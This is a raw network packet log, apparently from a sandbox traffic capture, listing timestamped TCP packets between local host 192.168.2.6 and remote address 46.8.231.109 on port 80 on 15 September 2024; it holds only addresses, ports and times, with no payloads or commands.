Sep 15, 2024 19:37:36.576015949 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.576054096 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.576164961 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.576176882 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.576186895 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.576198101 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.576209068 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.576215982 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.576220036 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.576231956 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.576241970 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.576241970 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.576252937 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.576261997 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.576273918 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.576292992 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.576503992 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.576514959 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.576551914 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.576576948 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.577357054 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.577405930 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.577447891 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.577460051 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.577505112 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.578419924 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.578509092 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.578526020 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.578589916 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.578619957 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.578633070 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.578644037 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.578663111 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.578691006 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.578726053 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.578737974 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.578747988 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.578759909 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.578768969 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.578788042 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.578794003 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.578824997 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.578952074 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.578963995 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.578974962 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.578980923 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.578993082 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.578996897 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.579016924 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.579036951 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.579240084 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.579258919 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.579269886 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.579279900 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.579289913 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.579291105 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.579302073 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.579308033 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.579315901 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.579327106 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.579333067 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.579338074 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.579348087 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.579349041 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.579361916 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.579363108 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.579411030 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.579411030 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.579628944 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.579639912 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.579649925 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.579684019 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.579695940 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.579709053 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.579710960 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.579720020 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.579731941 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.579735994 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.579744101 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.579746962 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.579766989 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.579787970 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.581073046 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.581127882 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.581139088 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.581157923 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.581175089 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.581190109 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.581213951 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.581295013 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.581305981 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.581316948 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.581327915 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.581338882 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.581341028 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.581350088 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.581358910 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.581381083 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.581393003 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.581458092 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.581469059 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.581479073 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.581501961 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.581549883 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.581620932 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.581634045 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.581645012 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.581660986 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.581671953 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.581672907 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.581684113 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.581691980 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.581696033 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.581707954 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.581716061 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.581721067 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.581732988 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.581742048 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.581765890 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.581929922 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.581976891 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.582015038 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.582027912 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.582039118 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.582050085 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.582062006 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.582072020 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.582073927 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.582097054 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.582113981 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.582127094 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.582138062 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.582149029 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.582159996 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.582164049 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.582171917 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.582178116 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.582185030 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.582195997 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.582206964 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.582210064 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.582216978 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.582231045 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.582259893 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.582428932 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.582439899 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.582479000 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.582490921 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.656790018 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.656826019 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.656863928 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.656876087 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.656877041 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.656910896 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.656929970 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.656944036 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.656950951 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.656976938 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.656991005 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.657010078 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.657020092 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.657044888 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.657095909 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.657121897 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.657154083 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.657177925 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.657186031 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.657212973 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.657218933 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.657249928 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.657252073 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.657258034 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.657285929 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.657337904 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.664271116 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.664321899 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.664354086 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.664386034 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.664429903 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.664463043 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.664463997 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.664470911 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.664495945 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.664509058 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.664529085 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.664540052 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.664576054 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.664578915 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.664611101 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.664659977 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.664663076 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.664691925 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.664725065 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.664747000 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.664758921 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.664767981 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.664794922 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.664822102 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.664832115 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.664880037 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.664908886 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.664930105 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.664943933 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.664946079 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.664985895 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.664994955 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.665026903 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.665040016 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.665062904 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.665075064 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.665112019 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.665170908 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.665203094 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.665235996 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.665258884 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.665258884 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.665268898 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.665281057 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.665302038 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.665323019 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.665333986 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.665347099 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.665366888 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.665374994 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.665400982 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.665406942 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.665452003 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.665466070 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.665497065 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.665507078 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.665529966 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.665539026 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.665565014 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.665590048 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.665597916 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.665632963 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.665635109 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.665642977 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.665666103 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.665685892 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.665709019 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.665733099 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.665765047 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.665796995 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.665812969 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.665829897 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.665834904 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.665863037 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.665883064 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.665894985 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.665921926 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.665925980 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.665950060 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.665960073 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.665968895 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.665993929 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.665998936 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.666049004 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.666295052 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.666326046 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.666357994 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.666358948 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.666378021 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.666390896 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.666418076 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.666425943 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.666435003 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.666466951 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.666498899 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.666511059 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.666532040 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.666541100 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.666564941 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.666595936 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.666620016 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.666630030 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.666630983 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.666662931 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.666671038 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.666701078 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.666748047 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.666901112 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.666934013 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.666955948 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.666965961 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.666980028 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.666999102 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.667004108 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.667032003 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.667042017 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.667067051 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.667073965 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.667099953 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.667103052 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.667133093 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.667140007 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.667165995 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.667176008 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.667197943 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.667208910 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.667231083 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.667249918 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.667263031 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.667296886 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.667314053 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.667331934 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.667341948 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.667371035 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.667429924 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.667462111 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.667471886 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.667500973 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.667516947 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.667550087 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.667561054 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.667582989 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.667589903 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.667614937 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.667619944 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.667649031 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.667654991 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.667684078 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.667689085 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.667725086 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.667851925 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.667898893 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.667901039 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.667932987 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.667963982 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.667964935 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.667975903 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.667999029 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.668009996 CEST	49748	80	192.168.2.6	46.8.231.109
